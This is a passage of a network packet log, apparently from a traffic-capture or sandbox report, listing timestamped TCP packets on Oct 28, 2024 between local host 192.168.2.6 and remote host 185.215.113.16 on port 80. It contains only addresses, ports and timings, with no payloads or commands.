Oct 28, 2024 15:28:21.545269966 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545273066 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545284033 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545288086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545293093 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545299053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545310974 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545311928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545322895 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545334101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545334101 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545335054 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545352936 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545366049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545376062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545387030 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545388937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545402050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545413971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545414925 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545430899 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545444012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545454025 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545454979 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545455933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545466900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545478106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545489073 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545505047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545521021 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545521021 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545522928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545543909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545548916 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545555115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545567036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545577049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545582056 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545589924 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545603991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545614958 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545619011 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545625925 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545638084 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545638084 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545648098 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545659065 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545670033 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545681000 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545681000 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545682907 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545702934 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545705080 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545717001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545728922 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545741081 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545747995 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545752048 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545763016 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545766115 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545773983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545784950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545792103 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545795918 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545806885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545808077 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545818090 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545829058 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545845032 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545876026 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545887947 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545898914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545906067 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545908928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545922041 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545938969 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545941114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545953035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545964003 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545968056 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545974970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545984030 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.545989037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.545999050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546000004 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.546010971 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546021938 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546034098 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546040058 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.546046972 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546058893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546061993 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.546071053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546082020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546082973 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.546092987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546103954 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.546104908 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.546132088 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.546422958 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:21.767812014 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:21.768227100 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.360822916 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.360894918 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.666894913 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672360897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672375917 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672386885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672473907 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672527075 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672538996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672549963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672560930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672570944 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672574997 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672585011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672595978 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672599077 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672606945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672631979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672635078 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672642946 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672657013 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672667027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672672987 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672679901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672692060 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672699928 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672707081 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672717094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672727108 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672738075 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672739029 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672749043 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672760010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672765017 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672770977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672781944 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672790051 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672808886 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672820091 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672821999 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672831059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672841072 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672851086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672858000 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672862053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672873974 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672874928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672885895 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672897100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672907114 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672908068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672918081 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672929049 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672930002 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672943115 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672949076 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672955990 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672971010 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672981024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.672982931 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.672992945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673002005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673005104 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673012972 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673026085 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673036098 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673038006 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673047066 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673052073 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673057079 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673067093 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673079967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673084974 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673101902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673105001 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673111916 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673121929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673124075 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673139095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673145056 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673151970 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673161983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673181057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673186064 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673191071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673202038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673207998 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673213005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673223972 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673229933 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673233986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673243999 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673254967 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673264980 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673264980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673276901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673286915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673296928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673300028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673307896 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673322916 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673326015 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673338890 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673342943 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673348904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673357964 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673360109 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673371077 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673382044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673393011 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673394918 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673403025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673413992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673425913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673434019 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673446894 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673464060 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673475027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673485994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673501968 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673502922 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673513889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673525095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673525095 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673535109 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673544884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673553944 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673556089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673566103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673573017 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673578024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673588991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673595905 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673599958 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673612118 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673621893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673623085 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673633099 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673634052 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673666000 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673666000 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673681974 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673693895 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673703909 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673703909 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673713923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673724890 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673727989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673738003 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673752069 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673789024 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673799992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673810005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673820972 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673827887 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673830986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673841953 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673852921 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673867941 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673891068 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673921108 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673930883 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673940897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673950911 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673962116 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673963070 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673974991 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.673978090 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.673989058 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674000025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674010992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674011946 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674021006 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674031973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674041986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674045086 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674052954 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674063921 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674066067 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674074888 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674093962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674104929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674108982 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674117088 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674125910 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674129963 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674139977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674143076 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674168110 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674175978 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674185991 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674196959 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674206972 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674218893 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674227953 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674235106 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674240112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674262047 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674273968 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674277067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674288988 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674299002 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674309015 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674319983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674335003 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674357891 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674420118 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674434900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674446106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674455881 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674467087 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674478054 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674482107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674482107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674489021 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674499989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674510956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674515963 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674521923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674531937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674536943 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674542904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674550056 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674571037 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674590111 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674607992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674619913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674628973 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674631119 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674639940 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674652100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674659014 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674663067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674675941 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674685955 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674690008 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:22.674696922 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:22.674706936 CET	80	49764	185.215.113.16	192.168.2.6
